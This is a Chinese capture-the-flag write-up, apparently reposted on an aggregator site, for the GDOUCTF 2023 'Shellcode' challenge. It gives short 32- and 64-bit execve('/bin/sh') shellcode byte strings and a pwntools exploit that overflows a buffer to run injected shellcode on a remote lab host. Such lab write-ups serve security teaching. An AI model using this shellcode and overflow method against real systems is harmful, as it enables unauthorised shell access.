当前位置: 首页 > news >正文

PWN手的成长之路-10-GDOUCTF 2023-Shellcode-短字节shellcode

image

nc 连接远程环境。
image

file 查看文件。
image

checksec 查看文件安全属性。
image

IDA 打开文件。程序把输入放进 name 变量中,但是只读取 25 个字节。
image

shift+F12 查看所有的字符串。并没有发现 /bin/sh 后门,因此我们需要自己上传 sh的shellcode
image

溢出大小:
image

name 变量的地址。
image

流程:我们需要先上传一个小于 25 字节的shellcode,然后溢出 name 变量的缓冲区。
但是这次不能用 asm(shellcraft.sh()) ,因为使用 shellcraft 默认生成的字节数是 0x30 这里只能0x25 我们需要找小于0x25的 shellcode。

32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

exp:

from pwn import *
r=remote('node4.anna.nssctf.cn',28179)context.log_level='debug'
context.arch='amd64'
context.os='linux'
name_addr=0x6010A0
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload=b'a'*(0xA+8)+p64(name_addr)
r.send(shellcode)
r.sendline(payload)
r.interactive()

得到 flag。
image

http://www.hskmm.com/?act=detail&tid=26017

相关文章:

  • 优雅的合并GIT分支
  • Docker部署
  • 完整教程:Excel to JSON 插件 2.4.0 版本更新
  • Ai元人文:人文逻辑与规则逻辑的统一
  • 《二千年间》在线阅读
  • 蒟蒻的第一篇随笔
  • oppoR9m刷Linux系统: 安装MTK USB VCOM驱动
  • [特殊字符] FFmpeg 学习笔记 - 详解
  • .NET周刊【9月第3期 2025-09-21】
  • 通过实验直观理解神经网络:ReLU网络与几何解释
  • CCPC2023哈尔滨 游记(VP)
  • 2025教练技术行业深度剖析:目标人群、费用与品牌选择
  • 虚拟现实教育终端科技方案——基于EFISH-SCB-RK3588的全场景国产化替代
  • 【OpenGL ES】不用GLSurfaceView,如何渲染图像
  • LGP9871 [NOIP 2023] 天天爱打卡 学习笔记
  • 【OpenGL ES】Windows上OpenGL环境搭建
  • 完整教程:WordPress 6.5版本带来的新功能
  • 微信开发框架/WTAPI框架
  • 2025连接器厂家权威推荐榜:防水/m12防水/m8/防水3芯/防水t型三通/防水线束线缆/防水包胶连接器实力制造与创新技术深度解析
  • [数学 - 正态分布]
  • 状态压缩 DP
  • QGIS开发笔记(四):QgsRasterLayer加载Cesium二维地图的瓦片地图数据到QGIS
  • 学号20232328 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • Withdraw x Failure《一元微积分》讲义习题
  • 【光照】Unity[光照探针]的作用与工作原理
  • [数学 - 线性回归]
  • 251007
  • SP Flash Tool读回(Read back)自动分区信息
  • Java 并发锁
  • 实用指南:点评中是如何实现短信登录的